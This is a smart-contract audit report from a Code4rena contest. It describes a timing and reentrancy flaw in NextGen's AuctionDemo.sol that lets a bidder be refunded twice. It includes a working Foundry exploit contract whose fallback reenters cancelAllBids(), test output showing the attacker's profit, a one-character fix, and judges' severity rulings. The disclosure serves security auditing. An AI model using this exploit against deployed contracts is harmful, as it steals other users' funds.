Improper time checks could allow attacker to take money from other auction users

[c4-submissions]

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/AuctionDemo.sol#L116
https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/AuctionDemo.sol#L135
https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/AuctionDemo.sol#L105

Vulnerability details

Impact

There are improper time checks in AuctionDemo.sol. participateToAuction(), cancelBid(), cancelAllBids() in AuctionDemo.sol, use block.timestamp <= minter.getAuctionEndTime(_tokenid) to check auction end. But claimAuction() use block.timestamp >= minter.getAuctionEndTime(_tokenid).

So when in condition block.timestamp == minter.getAuctionEndTime(_tokenid), The auction is closed at the same time as it is progressing, so all function is callable.

In claimAuction(), refund routine make bidder could call again cancelBid() or cancelAllBids() in fallback(). because there are no routine auctionInfoData[_tokenid][index].status = false;

So, attacker could request twice for refund.

    function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){
        require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);
        auctionClaim[_tokenid] = true;
        uint256 highestBid = returnHighestBid(_tokenid);
        address ownerOfToken = IERC721(gencore).ownerOf(_tokenid);
        address highestBidder = returnHighestBidder(_tokenid);
        for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) {
            if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) {
                IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid);
                (bool success, ) = payable(owner()).call{value: highestBid}("");
                emit ClaimAuction(owner(), _tokenid, success, highestBid);
            } else if (auctionInfoData[_tokenid][i].status == true) {
                (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
                emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid);
            } else {}
        }
    }

Here is flow for attack.

1. attacker bid early
2. victim bid
3. attacker call high bid and got winner
4. attacker call claimAuction() in endtime
5. attacker's fallback() will be called
6. attacker call cancelAllBids()
7. attacker could get twice bid for early

Proof of Concept

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.19;

import {Test, console2} from "forge-std/Test.sol";


import "../src/NextGenAdmins.sol";
import "../src/NextGenCore.sol";
import "../src/MinterContract.sol";
import "../src/AuctionDemo.sol";
import "../src/IERC721.sol";
import "../src/XRandoms.sol";
import "../src/RandomizerNXT.sol";

contract auctionDemoTest is Test {
    auctionDemo public TARGET;
    uint endtime;

    function setUp() public {
        address system = vm.addr(0x31337);
        vm.deal(system, 1000 ether);

        vm.startPrank(system);
        address admin = address(new NextGenAdmins());
        address gencore = address(new NextGenCore("", "", admin));
        address minter = address(new NextGenMinterContract(gencore, address(0), admin));
        address random = address(new randomPool());
        address randomizer = address(new NextGenRandomizerNXT(random, admin, gencore));
        TARGET = new auctionDemo(minter, gencore, admin);

        string[] memory t = new string[](2);
        t[0] = "";
        t[1] = "";
        NextGenCore(gencore).createCollection("", "", "", "", "", "", "", t);
        NextGenCore(gencore).setCollectionData(1, address(0), 0, 10, 0);
        NextGenCore(gencore).addMinterContract(address(minter));  
        NextGenCore(gencore).addRandomizer(1, randomizer);
        NextGenMinterContract(minter).setCollectionCosts(1, 1, 1, 1, 1, 1, address(this));
        NextGenMinterContract(minter).setCollectionPhases(1, 1, 1, 1, 1, bytes32(""));
        NextGenMinterContract(minter).mintAndAuction(address(this), "", 1, 1, (block.timestamp+1 days));

        vm.stopPrank();

        NextGenCore(gencore).approve(address(TARGET), 10000000000);
        endtime = NextGenMinterContract(minter).getAuctionEndTime(10000000000);
    }

    function testExploit() public {

        
        uint before_balance = address(this).balance;
        
        TARGET.participateToAuction{value: 5 ether}(10000000000);
        
        // victim who bid after attacker will be target...

        // victim bid
        address victim1 = vm.addr(0x1337);
        vm.deal(victim1, 15 ether);

        address victim2 = vm.addr(0x1338);
        vm.deal(victim2, 15 ether);

        address victim3 = vm.addr(0x1339);
        vm.deal(victim3, 15 ether);

        vm.startPrank(victim1);
        TARGET.participateToAuction{value: 6 ether}(10000000000);
        vm.stopPrank();

        vm.startPrank(victim2);
        TARGET.participateToAuction{value: 8 ether}(10000000000);
        vm.stopPrank();

        vm.startPrank(victim3);
        TARGET.participateToAuction{value: 10 ether}(10000000000);
        vm.stopPrank();

        // attacker will be highest bidder
        TARGET.participateToAuction{value: 11 ether}(10000000000);

        // wait until auction end
        vm.warp(endtime);

        // call claim in endtime...
        TARGET.claimAuction(10000000000);

        // calc profit?
        uint after_balance = address(this).balance;       
        uint balance_diff = after_balance - before_balance;
        console2.log("attacker earning: ", balance_diff);

        console2.log("done");
    }

    fallback() payable external {
        // attacker will not pay...
        TARGET.cancelAllBids(10000000000);
    }

    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4) {
        return IERC721Receiver.onERC721Received.selector;
    }

}

And here is result of test. And this is the case when attacker get the least amount of money. If attacker call many participateToAuction() and cancelBid() for each, the profit can be maximized.

$ forge test -vvv
[⠆] Compiling...
No files changed, compilation skipped

Running 1 test for test/AuctionDemoTest.t.sol:auctionDemoTest
[PASS] testExploit() (gas: 553598)
Logs:
  attacker earning:  5000000000000000000
  done

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.25ms
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

Manual

Recommended Mitigation Steps

I recommand that the conditions change clearly, In this case, use '>' using >=.

    function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){
        require(block.timestamp > minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);
        auctionClaim[_tokenid] = true;
        uint256 highestBid = returnHighestBid(_tokenid);

Here is result of patch.

$ forge test -vv
[⠆] Compiling...
No files changed, compilation skipped

Running 1 test for test/AuctionDemoTest.t.sol:auctionDemoTest
[FAIL. Reason: EvmError: Revert] testExploit() (gas: 453870)
Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 3.07ms
Ran 1 test suites: 0 tests passed, 1 failed, 0 skipped (1 total tests)

Failing tests:
Encountered 1 failing test in test/AuctionDemoTest.t.sol:auctionDemoTest
[FAIL. Reason: EvmError: Revert] testExploit() (gas: 453870)

Encountered a total of 1 failing tests, 0 tests succeeded

Assessed type

Timing

[c4-pre-sort]

141345 marked the issue as duplicate of #962

[c4-judge]

alex-ppg marked the issue as duplicate of #1323

[c4-judge]

alex-ppg marked the issue as satisfactory

[c4-judge]

alex-ppg changed the severity to 3 (High Risk)